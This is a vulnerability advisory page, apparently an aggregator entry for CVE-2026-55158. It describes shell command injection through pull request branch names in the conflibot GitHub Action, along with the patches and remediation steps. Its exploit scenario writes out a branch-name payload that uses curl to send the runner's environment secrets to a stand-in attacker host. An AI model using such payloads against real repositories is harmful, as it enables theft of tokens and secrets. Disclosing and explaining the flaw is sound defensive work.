conflibot CVE-2026-55158
CRITICAL
GHSA-2qvg-qr73-mqxp
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Any user can open a PR (AV:N, PR:N, UI:N) and a crafted branch name auto-executes commands yielding token/secret theft and repo writes (C:H/I:H); no availability impact and no cross-system scope change (A:N, S:U).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Impact
Versions of conflibot before 1.2.1 build git commands by string interpolation and run them through a shell. Several of the interpolated values are pull request branch names (head.ref), which are attacker-controlled: anyone can open a pull request (including from a fork) whose head branch name contains shell metacharacters such as ` `, $( ), ;, |, or &`.
The recommended workflow runs conflibot on the pull_request_target event, where the job has access to the base repository's secrets and a write-scoped GITHUB_TOKEN. As a result, a crafted branch name causes arbitrary command execution on the runner with that write token in the environment, allowing an attacker to exfiltrate secrets and the token, push to the repository, or otherwise abuse the token's permissions. No special privileges and no maintainer interaction are required - the action runs automatically when the pull request is opened.
Affected configurations
Any workflow using wktk/conflibot at a version earlier than 1.2.1. The risk is highest under pull_request_target (the documented configuration), because that is where the write token and secrets are exposed to attacker-influenced refs.
Patches
Fixed in 1.2.1 and 2.0.0. All git invocations now use argument arrays via execFile/spawn instead of a shell, so branch names can no longer be interpreted as shell syntax, and pull requests are referenced by number through refs/pull/<n>/head rather than by branch name.
Workarounds
There is no configuration-only workaround for affected versions. Upgrade to wktk/conflibot@v2. On GitHub-hosted runners this is a drop-in upgrade; self-hosted runners additionally need Node.js 24 support and git 2.38 or later.
Resources
- Fix (v2.0.0): https://github.com/wktk/conflibot/commit/0107ac6
- Fix (v1.2.1): https://github.com/wktk/conflibot/commit/59e255c
- Releases: https://github.com/wktk/conflibot/releases/tag/v2.0.0 and https://github.com/wktk/conflibot/releases/tag/v1.2.1
Articles & Coverage 2
AnalysisAI
Arbitrary command execution in the conflibot GitHub Action (versions before 1.2.1) lets any user who opens a pull request run shell commands on the workflow runner. conflibot builds git commands via string interpolation and executes them through a shell, and one interpolated value is the attacker-controlled PR head branch name (head.ref); a branch name containing shell metacharacters is executed as code. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires the target repository to use the wktk/conflibot action at a version below 1.2.1, and for meaningful token/secret theft the action must run on the pull_request_target event (the vendor-recommended configuration) where a write-scoped GITHUB_TOKEN and base-repo secrets are present. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a genuine high-priority issue rather than an inflated CVSS score. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker forks a public repository that uses conflibot under pull_request_target, creates a branch whose name embeds a shell payload such as `$(curl -d @<(env) https://attacker.example)`, and opens a pull request. conflibot runs automatically, interpolates the branch name into a git command, and the shell executes the payload with the write-scoped GITHUB_TOKEN and secrets in the environment, letting the attacker exfiltrate them. … |
| Remediation | Vendor-released patch: upgrade to wktk/conflibot@v2 (2.0.0), or to 1.2.1 on the v1 line. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: audit all repositories using conflibot and document versions in use; disable the action if not immediately required for operations. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today